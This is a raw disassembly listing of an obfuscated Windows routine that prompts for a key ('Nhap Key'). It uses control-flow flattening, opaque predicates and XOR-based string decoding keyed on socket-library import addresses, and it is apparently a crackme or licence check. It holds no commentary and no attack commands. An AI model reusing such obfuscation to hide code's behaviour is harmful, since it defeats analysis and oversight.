cmp r8d, 0x26cb7b26
je 0x14001397f
cmp r8d, 0x457d3d70
jne 0x140013930
jmp 0x1400139a0
cmp r8d, 0x96851c3a
je 0x140013987
cmp r8d, 0xecf238d2
jne 0x140013930
mov r8d, 0x457d3d70
jmp 0x140013930
mov r8d, ecx
jmp 0x140013930
mov r8d, 0x96851c3a
jmp 0x140013930
mov qword [rbp + 0x138], rbx
mov rdx, qword [rbp + 0x138]
mov rdx, qword [rdx]
mov edx, dword [rdx + 4]
mov r8d, eax
jmp 0x140013930
mov dword [rbp + 0x1b0], edx
movsxd rcx, dword [rbp + 0x1b0]
add rcx, qword [rbp + 0x138]
sub rsp, 0x20
mov dl, 0xa
call qword [sym.imp.MSVCP140.dll_public:_char___cdecl_std::basic_ios_char__struct_std::char_traits_char__::widen_char_const___ptr64]
add rsp, 0x20
sub rsp, 0x20
mov rcx, rbp
lea rdx, [rbp - 0x30]
mov r8d, eax
call fcn.1400f0c90
add rsp, 0x20
sub rsp, 0x20
mov rcx, rbp
call fcn.1400277b0
add rsp, 0x20
sub rsp, 0x20
lea rcx, [rbp - 0x78]
lea rdx, [rbp - 0x30]
call fcn.140009f50
add rsp, 0x20
mov eax, dword [0x1402b5ca8]
lea ecx, [rax + 1]
imul ecx, eax
mov eax, ecx
xor eax, 0xfffffffe
test eax, ecx
setne al
sete dl
cmp dword [0x1402b5cac], 0xa
setge cl
setl r8b
xor r8b, dl
jne 0x140015fb2
or cl, al
je 0x140015fb2
nop dword [rax + rax]
jmp 0x140013a40
mov qword [rbp + 0x120], rax
mov r10d, 0x99b85fc1
mov r15d, 0x7f643fbb
mov r12d, 0xdb8e0749
mov r13d, 0xc170ba1e
mov edi, 0xe7653d71
mov ebx, 0xb2c5ea89
mov r9d, 0xde0afea4
mov ecx, 0x81bb04b9
mov r8d, 0x751102ed
jmp 0x140013ac5
mov eax, dword [0x1402b5cb8]
lea r10d, [rax + 1]
imul r10d, eax
not r10d
or r10d, 0xfffffffe
cmp r10d, 0xffffffff
sete al
mov r10d, 0x271d844d
mov edx, 0xe0da6e96
cmove r10d, edx
cmp dword [0x1402b5cbc], 0xa
mov r11d, 0x271d844d
cmovge r10d, r11d
setl r11b
xor r11b, al
cmovne r10d, edx
cmp r10d, 0xcccf1ed2
jle 0x140014c50
cmp r10d, 0x254318de
jg 0x140014c90
cmp r10d, 0xcccf1ed3
je 0x140015dbd
cmp r10d, 0xe0da6e96
jne 0x140013ac5
lea rax, [rbp + 0x138]
mov qword [rbp + 0x168], rax
lea rax, str._____Nhap_Key_:
mov qword [rbp + 0x170], rax
lea rax, [rbp + 0x188]
mov qword [rbp + 0x178], rax
mov r10d, 0x2bd5562c
jmp 0x140013b80
mov eax, dword [0x1402b5cc0]
mov r11d, dword [0x1402b5cc4]
lea r10d, [rax + 1]
imul r10d, eax
mov eax, r10d
xor eax, 0xfffffffe
test eax, r10d
sete sil
cmp r11d, 0xa
setl r14b
xor r14b, sil
mov esi, 0x8d973b2f
cmovne esi, ecx
test eax, r10d
mov r10d, esi
cmove r10d, ecx
cmp r11d, 0xa
mov rax, qword [rbp + 0x180]
cmovge r10d, esi
nop word cs:[rax + rax]
cmp r10d, 0xe7653d70
jg 0x140013c20
cmp r10d, 0xb2c5ea88
jg 0x140013ca0
cmp r10d, 0x81bb04b9
je 0x1400144ad
cmp r10d, 0x8d973b2f
jne 0x140013b80
mov rax, qword [rbp + 0x178]
mov rax, qword [rbp + 0x168]
mov r10, qword [rbp + 0x170]
mov qword [rbp + 0x180], rax
mov r11, qword [rbp + 0x180]
movzx eax, byte [r10]
mov byte [rbp + 0x1e8], al
mov eax, 0x7b08b0d7
nop word cs:[rax + rax]
cmp eax, 0x8bdd2c68
je 0x1400144c3
cmp eax, 0x7b08b0d7
jne 0x140013bf0
movsx rsi, byte [rbp + 0x1e8]
mov eax, 0x8bdd2c68
jmp 0x140013bf0
cmp r10d, 0x2bd5562b
jle 0x140013d06
cmp r10d, 0x751102ed
je 0x140013d54
cmp r10d, 0x2bd5562c
jne 0x140013b80
mov eax, dword [0x1402b5cc0]
mov r11d, dword [0x1402b5cc4]
lea r10d, [rax + 1]
imul r10d, eax
not r10d
or r10d, 0xfffffffe
cmp r10d, 0xffffffff
sete al
cmp r11d, 0xa
setl sil
xor sil, al
mov eax, 0x8d973b2f
cmovne eax, r8d
cmp r10d, 0xffffffff
mov r10d, eax
cmove r10d, r8d
cmp r11d, 0xa
cmovge r10d, eax
jmp 0x140013b80
cmp r10d, 0xb2c5ea89
je 0x1400144b8
cmp r10d, 0xde0afea4
jne 0x140013b80
mov eax, dword [0x1402b5cc0]
mov r11d, dword [0x1402b5cc4]
lea r10d, [rax + 1]
imul r10d, eax
mov eax, r10d
xor eax, 0xfffffffe
test eax, r10d
sete sil
cmp r11d, 0xa
setl r14b
xor r14b, sil
mov esi, 0xb2c5ea89
cmovne esi, edi
test eax, r10d
mov r10d, esi
cmove r10d, edi
cmp r11d, 0xa
cmovge r10d, esi
jmp 0x140013b80
cmp r10d, 0xf6d5f235
jne 0x140014bde
mov eax, dword [0x1402b5cc0]
lea r10d, [rax + 1]
imul r10d, eax
not r10d
or r10d, 0xfffffffe
cmp r10d, 0xffffffff
sete al
mov r10d, 0xb2c5ea89
cmove r10d, r9d
cmp dword [0x1402b5cc4], 0xa
cmovge r10d, ebx
setl r11b
xor r11b, al
cmovne r10d, r9d
jmp 0x140013b80
mov rax, qword [rbp + 0x178]
mov rax, qword [rbp + 0x168]
mov r10, qword [rbp + 0x170]
mov qword [rbp + 0x180], rax
mov r11, qword [rbp + 0x180]
movzx eax, byte [r10]
mov byte [rbp + 0x1e8], al
mov eax, 0x7b08b0d7
nop word cs:[rax + rax]
cmp eax, 0x8bdd2c68
je 0x140013dad
cmp eax, 0x7b08b0d7
jne 0x140013d90
movsx rsi, byte [rbp + 0x1e8]
mov eax, 0x8bdd2c68
jmp 0x140013d90
mov qword [rbp + 0x190], rsi
mov qword [rbp + 0x1b0], select
mov rax, qword [rbp + 0x190]
mov rsi, qword [rbp + 0x1b0]
mov r14d, eax
xor r14d, eax
not r14d
and r14d, esi
xor r14d, eax
mov byte [r11], r14b
inc r11
mov qword [rbp + 0x1d0], r11
lea rax, [r10 + 1]
mov qword [rbp + 0x200], rax
mov r11d, 0xd27f32c8
nop word [rax + rax]
cmp r11d, 0xdb8e0748
jle 0x140013e30
cmp r11d, 0xdb8e0749
je 0x140013e7d
cmp r11d, 0x1d64f769
je 0x140014425
cmp r11d, 0x7f643fbb
jne 0x140013e00
jmp 0x140013b27
cmp r11d, 0xc170ba1e
je 0x140014464
cmp r11d, 0xd27f32c8
jne 0x140013e00
mov rax, qword [rbp + 0x200]
movzx eax, byte [rax]
mov byte [rbp + 0x1e0], al
mov eax, 0x7b08b0d7
nop dword [rax + rax]
cmp eax, 0x8bdd2c68
je 0x140013e92
cmp eax, 0x7b08b0d7
jne 0x140013e60
movsx r11, byte [rbp + 0x1e0]
mov eax, 0x8bdd2c68
jmp 0x140013e60
mov rax, qword [rbp + 0x1e8]
mov byte [rax], 1
mov r11d, 0xc170ba1e
jmp 0x140013e00
mov qword [rbp + 0x190], r11
mov qword [rbp + 0x1b0], select
mov rax, qword [rbp + 0x190]
mov r11, qword [rbp + 0x1b0]
mov esi, eax
xor esi, eax
not esi
and esi, r11d
xor esi, eax
mov rax, qword [rbp + 0x1d0]
mov byte [rax], sil
mov r11, qword [rbp + 0x1d0]
movzx eax, byte [r10 + 2]
mov byte [rbp + 0x1e0], al
mov eax, 0x7b08b0d7
nop
cmp eax, 0x8bdd2c68
je 0x140013efd
cmp eax, 0x7b08b0d7
jne 0x140013ee0
movsx rsi, byte [rbp + 0x1e0]
mov eax, 0x8bdd2c68
jmp 0x140013ee0
mov qword [rbp + 0x190], rsi
mov qword [rbp + 0x1b0], reloc.WS2_32.dll_listen
mov rax, qword [rbp + 0x190]
mov rsi, qword [rbp + 0x1b0]
mov r14d, eax
xor r14d, eax
not r14d
and r14d, esi
xor r14d, eax
mov byte [r11 + 1], r14b
movzx eax, byte [r10 + 3]
mov byte [rbp + 0x1e0], al
mov eax, 0x7b08b0d7
cmp eax, 0x8bdd2c68
je 0x140013f5d
cmp eax, 0x7b08b0d7
jne 0x140013f40
movsx rsi, byte [rbp + 0x1e0]
mov eax, 0x8bdd2c68
jmp 0x140013f40
mov qword [rbp + 0x190], rsi
mov qword [rbp + 0x1b0], reloc.WS2_32.dll_ntohl
mov rax, qword [rbp + 0x190]
mov rsi, qword [rbp + 0x1b0]
mov r14d, eax
xor r14d, eax
not r14d
and r14d, esi
xor r14d, eax
mov byte [r11 + 2], r14b
movzx eax, byte [r10 + 4]
mov byte [rbp + 0x1e0], al
mov eax, 0x7b08b0d7
cmp eax, 0x8bdd2c68
je 0x140013fbd
cmp eax, 0x7b08b0d7
jne 0x140013fa0
movsx rsi, byte [rbp + 0x1e0]
mov eax, 0x8bdd2c68
jmp 0x140013fa0
mov qword [rbp + 0x190], rsi
mov qword [rbp + 0x1b0], reloc.WS2_32.dll_ntohs
mov rax, qword [rbp + 0x190]
mov rsi, qword [rbp + 0x1b0]
xor eax, esi
mov byte [r11 + 3], al
movzx eax, byte [r10 + 5]
mov byte [rbp + 0x1e0], al
mov eax, 0x7b08b0d7
nop word cs:[rax + rax]
cmp eax, 0x8bdd2c68
je 0x14001401d
cmp eax, 0x7b08b0d7
jne 0x140014000
movsx rsi, byte [rbp + 0x1e0]
mov eax, 0x8bdd2c68
jmp 0x140014000
mov qword [rbp + 0x190], rsi
mov qword [rbp + 0x1b0], reloc.WS2_32.dll_recv
mov rax, qword [rbp + 0x190]
mov rsi, qword [rbp + 0x1b0]
xor eax, esi
mov byte [r11 + 4], al
movzx eax, byte [r10 + 6]
mov byte [rbp + 0x1e0], al
mov eax, 0x7b08b0d7
nop word cs:[rax + rax]
cmp eax, 0x8bdd2c68
je 0x14001407d
cmp eax, 0x7b08b0d7
jne 0x140014060
movsx rsi, byte [rbp + 0x1e0]
mov eax, 0x8bdd2c68
jmp 0x140014060
mov qword [rbp + 0x190], rsi
mov qword [rbp + 0x1b0], reloc.WS2_32.dll_recvfrom
mov rax, qword [rbp + 0x190]
mov rsi, qword [rbp + 0x1b0]
xor eax, esi
mov byte [r11 + 5], al
movzx eax, byte [r10 + 7]
mov byte [rbp + 0x1e0], al
mov eax, 0x7b08b0d7
nop word cs:[rax + rax]
cmp eax, 0x8bdd2c68
je 0x1400140dd
cmp eax, 0x7b08b0d7
jne 0x1400140c0
movsx rsi, byte [rbp + 0x1e0]
mov eax, 0x8bdd2c68
jmp 0x1400140c0
mov qword [rbp + 0x190], rsi
mov qword [rbp + 0x1b0], reloc.WS2_32.dll_select
mov rax, qword [rbp + 0x190]
mov rsi, qword [rbp + 0x1b0]
xor eax, esi
mov byte [r11 + 6], al
movzx eax, byte [r10 + 8]
mov byte [rbp + 0x1e0], al
mov eax, 0x7b08b0d7
nop word cs:[rax + rax]
cmp eax, 0x8bdd2c68
je 0x14001413d
cmp eax, 0x7b08b0d7
jne 0x140014120
movsx rsi, byte [rbp + 0x1e0]
mov eax, 0x8bdd2c68
jmp 0x140014120
mov qword [rbp + 0x190], rsi
mov qword [rbp + 0x1b0], reloc.WS2_32.dll_send
mov rax, qword [rbp + 0x190]
mov rsi, qword [rbp + 0x1b0]
xor eax, esi
mov byte [r11 + 7], al
movzx eax, byte [r10 + 9]
mov byte [rbp + 0x1e0], al
mov eax, 0x7b08b0d7
nop word cs:[rax + rax]
cmp eax, 0x8bdd2c68
je 0x14001419d
cmp eax, 0x7b08b0d7
jne 0x140014180
movsx rsi, byte [rbp + 0x1e0]
mov eax, 0x8bdd2c68
jmp 0x140014180
mov qword [rbp + 0x190], rsi
mov qword [rbp + 0x1b0], reloc.WS2_32.dll_sendto
mov rax, qword [rbp + 0x190]
mov rsi, qword [rbp + 0x1b0]
mov r14d, eax
xor r14d, eax
not r14d
and r14d, esi
xor r14d, eax
mov byte [r11 + 8], r14b
movzx eax, byte [r10 + 0xa]
mov byte [rbp + 0x1e0], al
mov eax, 0x7b08b0d7
cmp eax, 0x8bdd2c68
je 0x1400141fd
cmp eax, 0x7b08b0d7
jne 0x1400141e0
movsx rsi, byte [rbp + 0x1e0]
mov eax, 0x8bdd2c68
jmp 0x1400141e0
mov qword [rbp + 0x190], rsi
mov qword [rbp + 0x1b0], reloc.WS2_32.dll_setsockopt
mov rax, qword [rbp + 0x190]
mov rsi, qword [rbp + 0x1b0]
xor eax, esi
mov byte [r11 + 9], al
movzx eax, byte [r10 + 0xb]
mov byte [rbp + 0x1e0], al
mov eax, 0x7b08b0d7
nop word cs:[rax + rax]
cmp eax, 0x8bdd2c68
je 0x14001425d
cmp eax, 0x7b08b0d7
jne 0x140014240
movsx rsi, byte [rbp + 0x1e0]
mov eax, 0x8bdd2c68
jmp 0x140014240
mov qword [rbp + 0x190], rsi
mov qword [rbp + 0x1b0], reloc.WLDAP32.dll_Ordinal_22
mov rax, qword [rbp + 0x190]
mov rsi, qword [rbp + 0x1b0]
xor eax, esi
mov byte [r11 + 0xa], al
movzx eax, byte [r10 + 0xc]
mov byte [rbp + 0x1e0], al
mov eax, 0x7b08b0d7
nop word cs:[rax + rax]
cmp eax, 0x8bdd2c68
je 0x1400142bd
cmp eax, 0x7b08b0d7
jne 0x1400142a0
movsx rsi, byte [rbp + 0x1e0]
mov eax, 0x8bdd2c68
jmp 0x1400142a0
mov qword [rbp + 0x190], rsi
mov qword [rbp + 0x1b0], reloc.WS2_32.dll_socket
mov rax, qword [rbp + 0x190]
mov rsi, qword [rbp + 0x1b0]
mov r14d, eax
xor r14d, eax
not r14d
and r14d, esi
xor r14d, eax
mov byte [r11 + 0xb], r14b
movzx eax, byte [r10 + 0xd]
mov byte [rbp + 0x1e0], al
mov eax, 0x7b08b0d7
cmp eax, 0x8bdd2c68
je 0x14001431d
cmp eax, 0x7b08b0d7
jne 0x140014300
movsx rsi, byte [rbp + 0x1e0]
mov eax, 0x8bdd2c68
jmp 0x140014300
mov qword [rbp + 0x190], rsi
mov qword [rbp + 0x1b0], Ordinal_32
mov rax, qword [rbp + 0x190]
mov rsi, qword [rbp + 0x1b0]
xor eax, esi
mov byte [r11 + 0xc], al
movzx eax, byte [r10 + 0xe]
mov byte [rbp + 0x1e0], al
mov eax, 0x7b08b0d7
nop word cs:[rax + rax]
cmp eax, 0x8bdd2c68
je 0x14001437d
cmp eax, 0x7b08b0d7
jne 0x140014360
movsx rsi, byte [rbp + 0x1e0]
mov eax, 0x8bdd2c68
jmp 0x140014360
mov qword [rbp + 0x190], rsi
mov qword [rbp + 0x1b0], Ordinal_32
mov rax, qword [rbp + 0x190]
mov rsi, qword [rbp + 0x1b0]
xor eax, esi
mov byte [r11 + 0xd], al
movzx eax, byte [r10 + 0xf]
mov byte [rbp + 0x1e0], al
mov eax, 0x7b08b0d7
nop word cs:[rax + rax]
cmp eax, 0x8bdd2c68
je 0x1400143dd
cmp eax, 0x7b08b0d7
jne 0x1400143c0
movsx rsi, byte [rbp + 0x1e0]
mov eax, 0x8bdd2c68
jmp 0x1400143c0
mov qword [rbp + 0x190], rsi
mov qword [rbp + 0x1b0], reloc.WLDAP32.dll_Ordinal_26
mov rax, qword [rbp + 0x190]
mov rsi, qword [rbp + 0x1b0]
xor eax, esi
mov byte [r11 + 0xe], al
mov byte [r11 + 0xf], 0
mov rax, qword [rbp + 0x180]
add rax, 0x11
mov qword [rbp + 0x1e8], rax
mov r11d, 0x1d64f769
jmp 0x140013e00
mov eax, dword [0x1402b5cc8]
lea r11d, [rax + 1]
imul r11d, eax
mov eax, r11d
xor eax, 0xfffffffe
test eax, r11d
sete al
mov r11d, 0xdb8e0749
cmove r11d, r13d
cmp dword [0x1402b5ccc], 0xa
cmovge r11d, r12d
setl sil
xor sil, al
cmovne r11d, r13d
jmp 0x140013e00
mov rax, qword [rbp + 0x1e8]
mov byte [rax], 1
mov eax, dword [0x1402b5cc8]
lea r11d, [rax + 1]
imul r11d, eax
mov eax, r11d
xor eax, 0xfffffffe
test eax, r11d
sete al
mov r11d, 0xdb8e0749
cmove r11d, r15d
cmp dword [0x1402b5ccc], 0xa
cmovge r11d, r12d
setl sil
xor sil, al
cmovne r11d, r15d
jmp 0x140013e00
mov r10d, 0xf6d5f235
jmp 0x140013b80
mov r10d, 0xde0afea4
jmp 0x140013b80
mov qword [rbp + 0x190], rsi
mov qword [rbp + 0x1b0], select
mov rax, qword [rbp + 0x190]
mov rsi, qword [rbp + 0x1b0]
xor eax, esi
mov byte [r11], al
inc r11
mov qword [rbp + 0x1d0], r11
lea rax, [r10 + 1]
mov qword [rbp + 0x200], rax
mov r11d, 0xd27f32c8
nop word cs:[rax + rax]
cmp r11d, 0xdb8e0748
jle 0x140014540
cmp r11d, 0xdb8e0749
je 0x14001458d
cmp r11d, 0x1d64f769
je 0x140014b42
cmp r11d, 0x7f643fbb
jne 0x140014510
jmp 0x140014bcc
cmp r11d, 0xc170ba1e
je 0x140014b81
cmp r11d, 0xd27f32c8
jne 0x140014510
mov rax, qword [rbp + 0x200]
movzx eax, byte [rax]
mov byte [rbp + 0x1e0], al
mov eax, 0x7b08b0d7
nop dword [rax + rax]
cmp eax, 0x8bdd2c68
je 0x1400145a2
cmp eax, 0x7b08b0d7
jne 0x140014570
movsx r11, byte [rbp + 0x1e0]
mov eax, 0x8bdd2c68
jmp 0x140014570
mov rax, qword [rbp + 0x1e8]
mov byte [rax], 1
mov r11d, 0xc170ba1e
jmp 0x140014510
mov qword [rbp + 0x190], r11
mov qword [rbp + 0x1b0], select
mov rax, qword [rbp + 0x190]
mov r11, qword [rbp + 0x1b0]
xor eax, r11d
mov r11, qword [rbp + 0x1d0]
mov byte [r11], al
mov r11, qword [rbp + 0x1d0]
movzx eax, byte [r10 + 2]
mov byte [rbp + 0x1e0], al
mov eax, 0x7b08b0d7
nop word cs:[rax + rax]
cmp eax, 0x8bdd2c68
je 0x14001460d
cmp eax, 0x7b08b0d7
jne 0x1400145f0
movsx rsi, byte [rbp + 0x1e0]
mov eax, 0x8bdd2c68
jmp 0x1400145f0
mov qword [rbp + 0x190], rsi
mov qword [rbp + 0x1b0], reloc.WS2_32.dll_listen
mov rax, qword [rbp + 0x190]
mov rsi, qword [rbp + 0x1b0]
mov r14d, eax
xor r14d, eax
not r14d
and r14d, esi
xor r14d, eax
mov byte [r11 + 1], r14b
movzx eax, byte [r10 + 3]
mov byte [rbp + 0x1e0], al
mov eax, 0x7b08b0d7
cmp eax, 0x8bdd2c68
je 0x14001466d
cmp eax, 0x7b08b0d7
jne 0x140014650
movsx rsi, byte [rbp + 0x1e0]
mov eax, 0x8bdd2c68
jmp 0x140014650
mov qword [rbp + 0x190], rsi
mov qword [rbp + 0x1b0], reloc.WS2_32.dll_ntohl
mov rax, qword [rbp + 0x190]
mov rsi, qword [rbp + 0x1b0]
mov r14d, eax
xor r14d, eax
not r14d
and r14d, esi
xor r14d, eax
mov byte [r11 + 2], r14b
movzx eax, byte [r10 + 4]
mov byte [rbp + 0x1e0], al
mov eax, 0x7b08b0d7
cmp eax, 0x8bdd2c68
je 0x1400146cd
cmp eax, 0x7b08b0d7
jne 0x1400146b0
movsx rsi, byte [rbp + 0x1e0]
mov eax, 0x8bdd2c68
jmp 0x1400146b0
mov qword [rbp + 0x190], rsi
mov qword [rbp + 0x1b0], reloc.WS2_32.dll_ntohs
mov rax, qword [rbp + 0x190]
mov rsi, qword [rbp + 0x1b0]
xor eax, esi
mov byte [r11 + 3], al
movzx eax, byte [r10 + 5]
mov byte [rbp + 0x1e0], al
mov eax, 0x7b08b0d7
nop word cs:[rax + rax]
cmp eax, 0x8bdd2c68
je 0x14001472d
cmp eax, 0x7b08b0d7
jne 0x140014710
movsx rsi, byte [rbp + 0x1e0]
mov eax, 0x8bdd2c68
jmp 0x140014710
mov qword [rbp + 0x190], rsi
mov qword [rbp + 0x1b0], reloc.WS2_32.dll_recv
mov rax, qword [rbp + 0x190]
mov rsi, qword [rbp + 0x1b0]
xor eax, esi
mov byte [r11 + 4], al
movzx eax, byte [r10 + 6]
mov byte [rbp + 0x1e0], al
mov eax, 0x7b08b0d7
nop word cs:[rax + rax]
cmp eax, 0x8bdd2c68
je 0x14001478d
cmp eax, 0x7b08b0d7
jne 0x140014770
movsx rsi, byte [rbp + 0x1e0]
mov eax, 0x8bdd2c68
jmp 0x140014770
mov qword [rbp + 0x190], rsi
mov qword [rbp + 0x1b0], reloc.WS2_32.dll_recvfrom
mov rax, qword [rbp + 0x190]
mov rsi, qword [rbp + 0x1b0]
mov r14d, eax
xor r14d, eax
not r14d
and r14d, esi
xor r14d, eax
mov byte [r11 + 5], r14b
movzx eax, byte [r10 + 7]
mov byte [rbp + 0x1e0], al
mov eax, 0x7b08b0d7
cmp eax, 0x8bdd2c68
je 0x1400147ed
cmp eax, 0x7b08b0d7
jne 0x1400147d0
movsx rsi, byte [rbp + 0x1e0]
mov eax, 0x8bdd2c68
jmp 0x1400147d0
mov qword [rbp + 0x190], rsi
mov qword [rbp + 0x1b0], reloc.WS2_32.dll_select
mov rax, qword [rbp + 0x190]
mov rsi, qword [rbp + 0x1b0]
xor eax, esi
mov byte [r11 + 6], al
movzx eax, byte [r10 + 8]
mov byte [rbp + 0x1e0], al
mov eax, 0x7b08b0d7
nop word cs:[rax + rax]
cmp eax, 0x8bdd2c68
je 0x14001484d
cmp eax, 0x7b08b0d7
jne 0x140014830
movsx rsi, byte [rbp + 0x1e0]
mov eax, 0x8bdd2c68
jmp 0x140014830
mov qword [rbp + 0x190], rsi
mov qword [rbp + 0x1b0], reloc.WS2_32.dll_send
mov rax, qword [rbp + 0x190]
mov rsi, qword [rbp + 0x1b0]
mov r14d, eax
xor r14d, eax
not r14d
and r14d, esi
xor r14d, eax
mov byte [r11 + 7], r14b
movzx eax, byte [r10 + 9]
mov byte [rbp + 0x1e0], al
mov eax, 0x7b08b0d7
cmp eax, 0x8bdd2c68
je 0x1400148ad
cmp eax, 0x7b08b0d7
jne 0x140014890
movsx rsi, byte [rbp + 0x1e0]
mov eax, 0x8bdd2c68
jmp 0x140014890
mov qword [rbp + 0x190], rsi
mov qword [rbp + 0x1b0], reloc.WS2_32.dll_sendto
mov rax, qword [rbp + 0x190]
mov rsi, qword [rbp + 0x1b0]
mov r14d, eax
xor r14d, eax
not r14d
and r14d, esi
xor r14d, eax
mov byte [r11 + 8], r14b
movzx eax, byte [r10 + 0xa]
mov byte [rbp + 0x1e0], al
mov eax, 0x7b08b0d7
cmp eax, 0x8bdd2c68
je 0x14001490d
cmp eax, 0x7b08b0d7
jne 0x1400148f0
movsx rsi, byte [rbp + 0x1e0]
mov eax, 0x8bdd2c68
jmp 0x1400148f0
mov qword [rbp + 0x190], rsi
mov qword [rbp + 0x1b0], reloc.WS2_32.dll_setsockopt
mov rax, qword [rbp + 0x190]
mov rsi, qword [rbp + 0x1b0]
xor eax, esi
mov byte [r11 + 9], al
movzx eax, byte [r10 + 0xb]
mov byte [rbp + 0x1e0], al
mov eax, 0x7b08b0d7
nop word cs:[rax + rax]
cmp eax, 0x8bdd2c68
je 0x14001496d
cmp eax, 0x7b08b0d7
jne 0x140014950
movsx rsi, byte [rbp + 0x1e0]
mov eax, 0x8bdd2c68
jmp 0x140014950
mov qword [rbp + 0x190], rsi
mov qword [rbp + 0x1b0], reloc.WLDAP32.dll_Ordinal_22
mov rax, qword [rbp + 0x190]
mov rsi, qword [rbp + 0x1b0]
xor eax, esi
mov byte [r11 + 0xa], al
movzx eax, byte [r10 + 0xc]
mov byte [rbp + 0x1e0], al
mov eax, 0x7b08b0d7
nop word cs:[rax + rax]
cmp eax, 0x8bdd2c68
je 0x1400149cd
cmp eax, 0x7b08b0d7
jne 0x1400149b0
movsx rsi, byte [rbp + 0x1e0]
mov eax, 0x8bdd2c68
jmp 0x1400149b0
mov qword [rbp + 0x190], rsi
mov qword [rbp + 0x1b0], reloc.WS2_32.dll_socket
mov rax, qword [rbp + 0x190]
mov rsi, qword [rbp + 0x1b0]
mov r14d, eax
xor r14d, eax
not r14d
and r14d, esi
xor r14d, eax
mov byte [r11 + 0xb], r14b
movzx eax, byte [r10 + 0xd]
mov byte [rbp + 0x1e0], al
mov eax, 0x7b08b0d7
cmp eax, 0x8bdd2c68
je 0x140014a2d
cmp eax, 0x7b08b0d7
jne 0x140014a10
movsx rsi, byte [rbp + 0x1e0]
mov eax, 0x8bdd2c68
jmp 0x140014a10
mov qword [rbp + 0x190], rsi
mov qword [rbp + 0x1b0], Ordinal_32
mov rax, qword [rbp + 0x190]
mov rsi, qword [rbp + 0x1b0]
xor eax, esi
mov byte [r11 + 0xc], al
movzx eax, byte [r10 + 0xe]
mov byte [rbp + 0x1e0], al
mov eax, 0x7b08b0d7
nop word cs:[rax + rax]
cmp eax, 0x8bdd2c68
je 0x140014a8d
cmp eax, 0x7b08b0d7
jne 0x140014a70
movsx rsi, byte [rbp + 0x1e0]
mov eax, 0x8bdd2c68
jmp 0x140014a70
mov qword [rbp + 0x190], rsi
mov qword [rbp + 0x1b0], Ordinal_32
mov rax, qword [rbp + 0x190]
mov rsi, qword [rbp + 0x1b0]
mov r14d, eax
xor r14d, eax
not r14d
and r14d, esi
xor r14d, eax
mov byte [r11 + 0xd], r14b
movzx eax, byte [r10 + 0xf]
mov byte [rbp + 0x1e0], al
mov eax, 0x7b08b0d7
cmp eax, 0x8bdd2c68
je 0x140014aed
cmp eax, 0x7b08b0d7
jne 0x140014ad0
movsx rsi, byte [rbp + 0x1e0]
mov eax, 0x8bdd2c68
jmp 0x140014ad0
mov qword [rbp + 0x190], rsi
mov qword [rbp + 0x1b0], reloc.WLDAP32.dll_Ordinal_26
mov rax, qword [rbp + 0x190]
mov rsi, qword [rbp + 0x1b0]
mov r14d, eax
xor r14d, eax
not r14d
and r14d, esi
xor r14d, eax
mov byte [r11 + 0xe], r14b
mov byte [r11 + 0xf], 0
mov rax, qword [rbp + 0x180]
add rax, 0x11
mov qword [rbp + 0x1e8], rax
mov r11d, 0x1d64f769
jmp 0x140014510
mov eax, dword [0x1402b5cc8]
lea r11d, [rax + 1]
imul r11d, eax
mov eax, r11d
xor eax, 0xfffffffe
test eax, r11d
sete al
mov r11d, 0xdb8e0749
cmove r11d, r13d
cmp dword [0x1402b5ccc], 0xa
cmovge r11d, r12d
setl sil
xor sil, al
cmovne r11d, r13d
jmp 0x140014510
mov rax, qword [rbp + 0x1e8]
mov byte [rax], 1
mov eax, dword [0x1402b5cc8]
lea r11d, [rax + 1]
imul r11d, eax
not r11d
or r11d, 0xfffffffe
cmp r11d, 0xffffffff
sete al
mov r11d, 0xdb8e0749
cmove r11d, r15d
cmp dword [0x1402b5ccc], 0xa
cmovge r11d, r12d
setl sil
xor sil, al
cmovne r11d, r15d
jmp 0x140014510
mov rax, qword [rbp + 0x180]
mov r10d, 0x751102ed
jmp 0x140013b80
cmp r10d, 0xe7653d71
jne 0x140013b80
mov eax, dword [0x1402b5cb8]
mov r11d, dword [0x1402b5cbc]
lea r10d, [rax + 1]
imul r10d, eax
mov eax, r10d
xor eax, 0xfffffffe
test eax, r10d
sete sil
cmp r11d, 0xa
setl r14b
xor r14b, sil
mov esi, 0x271d844d
mov edx, 0xbadc362a
cmovne esi, edx
test eax, r10d
mov r10d, esi
cmove r10d, edx
cmp r11d, 0xa
mov rax, qword [rbp + 0x168]
cmovge r10d, esi
jmp 0x140013ac5
cmp r10d, 0x99b85fc0
jle 0x140015d75
cmp r10d, 0x99b85fc1
je 0x140013a7e
cmp r10d, 0xbadc362a
jne 0x140013ac5
mov r10d, 0x961982e0
jmp 0x140013ac5
cmp r10d, 0x254318df
je 0x140015e06
cmp r10d, 0x271d844d
jne 0x140013ac5
lea rax, [rbp + 0x138]
mov qword [rbp + 0x168], rax
lea rax, str._____Nhap_Key_:
mov qword [rbp + 0x170], rax
lea rax, [rbp + 0x188]
mov qword [rbp + 0x178], rax
mov r10d, 0x2bd5562c
jmp 0x140014d20
mov rax, qword [rbp + 0x180]
mov eax, dword [0x1402b5cc0]
lea edx, [rax + 1]
imul edx, eax
not edx
or edx, 0xfffffffe
cmp edx, 0xffffffff
sete al
mov r10d, 0x8d973b2f
cmove r10d, ecx
cmp dword [0x1402b5cc4], 0xa
mov edx, 0x8d973b2f
cmovge r10d, edx
setl dl
xor dl, al
cmovne r10d, ecx
nop dword [rax]
cmp r10d, 0xe7653d70
jg 0x140014dc0
cmp r10d, 0xb2c5ea88
jg 0x140014e40
cmp r10d, 0x81bb04b9
je 0x140015631
cmp r10d, 0x8d973b2f
jne 0x140014d20
mov rax, qword [rbp + 0x178]
mov rax, qword [rbp + 0x168]
mov r10, qword [rbp + 0x170]
mov qword [rbp + 0x180], rax
mov r11, qword [rbp + 0x180]
movzx eax, byte [r10]
mov byte [rbp + 0x1e8], al
mov eax, 0x7b08b0d7
nop word cs:[rax + rax]
cmp eax, 0x8bdd2c68
je 0x140015647
cmp eax, 0x7b08b0d7
jne 0x140014d90
movsx rsi, byte [rbp + 0x1e8]
mov eax, 0x8bdd2c68
jmp 0x140014d90
cmp r10d, 0x2bd5562b
jle 0x140014e93
cmp r10d, 0x751102ed
je 0x140014eec
cmp r10d, 0x2bd5562c
jne 0x140014d20
mov eax, dword [0x1402b5cc0]
mov r11d, dword [0x1402b5cc4]
lea r10d, [rax + 1]
imul r10d, eax
not r10d
or r10d, 0xfffffffe
cmp r10d, 0xffffffff
sete al
cmp r11d, 0xa
setl sil
xor sil, al
mov eax, 0x8d973b2f
cmovne eax, r8d
cmp r10d, 0xffffffff
mov r10d, eax
cmove r10d, r8d
cmp r11d, 0xa
cmovge r10d, eax
jmp 0x140014d20
